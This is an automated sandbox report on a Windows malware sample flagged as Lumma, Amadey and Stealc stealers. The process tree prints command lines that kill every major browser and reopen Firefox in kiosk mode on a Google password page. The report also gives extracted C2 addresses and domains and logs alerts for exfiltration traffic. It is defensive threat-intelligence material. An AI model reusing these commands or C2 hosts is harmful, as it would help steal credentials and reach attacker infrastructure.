Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1540375
MD5:	4aa75791152671db0dd310096a19f866
SHA1:	a08bef3a430ae54d94217399bb72e5ece1968498
SHA256:	f022c688cbbf7c4f3dc72d820933ccdc24e1b57968afc07d15f6d2609aab8d84
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found API chain indicative of sandbox detection

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

PE file has a writeable .text section

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to detect virtual machines (SIDT)

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

OS version to string mapping found (often used in BOTs)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Classification

Process Tree

System is w10x64

file.exe (PID: 2224 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 4AA75791152671DB0DD310096A19F866)

OLR88CERN7VQFRQ38J.exe (PID: 2864 cmdline: "C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe" MD5: 61E940C7CECC109FEE9B6BD3A4F394D5)

skotes.exe (PID: 4544 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 61E940C7CECC109FEE9B6BD3A4F394D5)

aae25c676b.exe (PID: 2528 cmdline: "C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe" MD5: 4AA75791152671DB0DD310096A19F866)

7d61336cf8.exe (PID: 1468 cmdline: "C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe" MD5: DD0CAAED8398954963C8A3FFB1196E18)

d7c50276ff.exe (PID: 6488 cmdline: "C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe" MD5: 4BD898F7538E346E91E4C83E0C11AD2A)

taskkill.exe (PID: 5144 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5140 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 672 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6408 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 368 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 592 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 3800 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 6892 cmdline: "C:\Users\user\AppData\Local\Temp\1000995001\num.exe" MD5: 791FCEE57312D4A20CC86AE1CEA8DFC4)

ENORVNMU067PBMHUGECCERYC06W3ZY.exe (PID: 5636 cmdline: "C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe" MD5: DD0CAAED8398954963C8A3FFB1196E18)

BF3BS0M5707K28RGW9.exe (PID: 3300 cmdline: "C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe" MD5: 25508D957B0CB88DF7C7C425A19C35F2)

aae25c676b.exe (PID: 1916 cmdline: "C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe" MD5: 4AA75791152671DB0DD310096A19F866)

firefox.exe (PID: 5608 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 5900 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6740 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2268 -parentBuildID 20230927232528 -prefsHandle 2196 -prefMapHandle 2184 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3c1d5462-c346-494a-a215-38ac926e40ed} 5900 "\\.\pipe\gecko-crash-server-pipe.5900" 2ee4c96f510 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 5004 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3744 -parentBuildID 20230927232528 -prefsHandle 3908 -prefMapHandle 3644 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {4e609914-25f3-44db-b997-bef2d2c17579} 5900 "\\.\pipe\gecko-crash-server-pipe.5900" 2ee5ee46610 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

skotes.exe (PID: 5764 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 61E940C7CECC109FEE9B6BD3A4F394D5)

7d61336cf8.exe (PID: 6648 cmdline: "C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe" MD5: DD0CAAED8398954963C8A3FFB1196E18)

d7c50276ff.exe (PID: 5048 cmdline: "C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe" MD5: 4BD898F7538E346E91E4C83E0C11AD2A)

taskkill.exe (PID: 3260 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1412 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4560 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6540 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5752 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 6328 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 4992 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3320 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2336 -parentBuildID 20230927232528 -prefsHandle 2272 -prefMapHandle 2264 -prefsLen 25307 -prefMapSize 239752 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e7c1ee17-f254-4518-bacd-57c97958ed1d} 4992 "\\.\pipe\gecko-crash-server-pipe.4992" 1c6f5e6ff10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 3112 cmdline: "C:\Users\user\AppData\Local\Temp\1000995001\num.exe" MD5: 791FCEE57312D4A20CC86AE1CEA8DFC4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: LummaC

{"C2 url": ["licendfilteo.site", "dissapoiznw.store", "mobbipenju.store", "eaglepawnoy.store", "clearancek.site", "studennotediw.store", "bathdoomgaz.store", "spirittunek.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Temp\1000995001\num.exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Temp\1000995001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001B.00000000.2667130005.00000000009E1000.00000080.00000001.01000000.00000013.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000003.2411955466.0000000004930000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000021.00000003.2991405310.00000000010EF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
00000003.00000002.2405168381.0000000000131000.00000040.00000001.01000000.00000006.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000003.2760497126.0000000004D40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000024.00000002.2926562320.0000000001187000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000024.00000000.2909397637.00000000009E1000.00000080.00000001.01000000.00000013.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001B.00000002.2687324655.00000000009E1000.00000080.00000001.01000000.00000013.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000003.2591227334.00000000053C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000003.2364843003.00000000047F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000024.00000002.2924335248.00000000009E1000.00000080.00000001.01000000.00000013.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001B.00000002.2688771618.0000000000EBE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000002.2493072660.0000000000F6E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000003.2722993454.0000000004890000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001E.00000002.2764558562.0000000000131000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000004.00000003.2404591407.0000000004E90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000002.2635976470.000000000173E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000020.00000002.2807278591.0000000000A21000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000002.2634884064.0000000000A21000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000020.00000002.2806511011.000000000082B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000002.2492114993.00000000004D1000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: ENORVNMU067PBMHUGECCERYC06W3ZY.exe PID: 5636	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: ENORVNMU067PBMHUGECCERYC06W3ZY.exe PID: 5636	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 7d61336cf8.exe PID: 1468	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 7d61336cf8.exe PID: 1468	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: d7c50276ff.exe PID: 6488	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Click to see the 21 entries

Unpacked PEs

Source	Rule	Description	Author
27.2.num.exe.9e0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
32.2.7d61336cf8.exe.a20000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
36.0.num.exe.9e0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
36.2.num.exe.9e0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
27.0.num.exe.9e0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
10.2.7d61336cf8.exe.a20000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
3.2.OLR88CERN7VQFRQ38J.exe.130000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
4.2.ENORVNMU067PBMHUGECCERYC06W3ZY.exe.4d0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
30.2.skotes.exe.130000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 4 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 4544, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\aae25c676b.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 4544, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\aae25c676b.exe

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T17:51:08.365714+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49712	172.67.206.204	443	TCP
2024-10-23T17:51:09.551526+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49713	172.67.206.204	443	TCP
2024-10-23T17:51:19.590822+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49755	172.67.206.204	443	TCP
2024-10-23T17:52:36.870284+0200	2054653	1	A Network Trojan was detected	192.168.2.6	50067	172.67.206.204	443	TCP
2024-10-23T17:52:38.372571+0200	2054653	1	A Network Trojan was detected	192.168.2.6	50068	172.67.206.204	443	TCP
2024-10-23T17:52:54.764475+0200	2054653	1	A Network Trojan was detected	192.168.2.6	50083	172.67.206.204	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T17:51:08.365714+0200	2049836	1	A Network Trojan was detected	192.168.2.6	49712	172.67.206.204	443	TCP
2024-10-23T17:52:36.870284+0200	2049836	1	A Network Trojan was detected	192.168.2.6	50067	172.67.206.204	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T17:51:09.551526+0200	2049812	1	A Network Trojan was detected	192.168.2.6	49713	172.67.206.204	443	TCP
2024-10-23T17:52:38.372571+0200	2049812	1	A Network Trojan was detected	192.168.2.6	50068	172.67.206.204	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T17:51:28.717187+0200	2019714	2	Potentially Bad Traffic	192.168.2.6	49763	185.215.113.16	80	TCP
2024-10-23T17:51:56.456556+0200	2019714	2	Potentially Bad Traffic	192.168.2.6	49961	185.215.113.16	80	TCP
2024-10-23T17:52:59.387322+0200	2019714	2	Potentially Bad Traffic	192.168.2.6	50085	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T17:51:44.925894+0200	2044696	1	A Network Trojan was detected	192.168.2.6	49894	185.215.113.43	80	TCP
2024-10-23T17:51:50.531119+0200	2044696	1	A Network Trojan was detected	192.168.2.6	49926	185.215.113.43	80	TCP
2024-10-23T17:51:55.542860+0200	2044696	1	A Network Trojan was detected	192.168.2.6	49955	185.215.113.43	80	TCP
2024-10-23T17:52:00.277023+0200	2044696	1	A Network Trojan was detected	192.168.2.6	49987	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T17:51:05.626762+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.6	54706	1.1.1.1	53	UDP
2024-10-23T17:51:44.942987+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.6	58587	1.1.1.1	53	UDP
2024-10-23T17:52:00.126188+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.6	53812	1.1.1.1	53	UDP
2024-10-23T17:52:34.187584+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.6	65037	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T17:51:05.556654+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.6	59432	1.1.1.1	53	UDP
2024-10-23T17:51:44.630519+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.6	51663	1.1.1.1	53	UDP
2024-10-23T17:52:00.044360+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.6	60416	1.1.1.1	53	UDP
2024-10-23T17:52:34.072265+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.6	62882	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T17:51:05.603840+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.6	62514	1.1.1.1	53	UDP
2024-10-23T17:51:44.665591+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.6	58137	1.1.1.1	53	UDP
2024-10-23T17:52:00.094735+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.6	49662	1.1.1.1	53	UDP
2024-10-23T17:52:34.163707+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.6	60918	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T17:51:05.588019+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.6	62888	1.1.1.1	53	UDP
2024-10-23T17:51:44.654395+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.6	62762	1.1.1.1	53	UDP
2024-10-23T17:52:00.083767+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.6	64986	1.1.1.1	53	UDP
2024-10-23T17:52:34.148376+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.6	58560	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T17:51:05.650986+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.6	55373	1.1.1.1	53	UDP
2024-10-23T17:51:44.967284+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.6	52894	1.1.1.1	53	UDP
2024-10-23T17:52:00.158249+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.6	64161	1.1.1.1	53	UDP
2024-10-23T17:52:34.212193+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.6	51774	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T17:51:05.572359+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.6	50802	1.1.1.1	53	UDP
2024-10-23T17:51:44.643601+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.6	59965	1.1.1.1	53	UDP
2024-10-23T17:52:00.064371+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.6	52776	1.1.1.1	53	UDP
2024-10-23T17:52:34.101019+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.6	56822	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
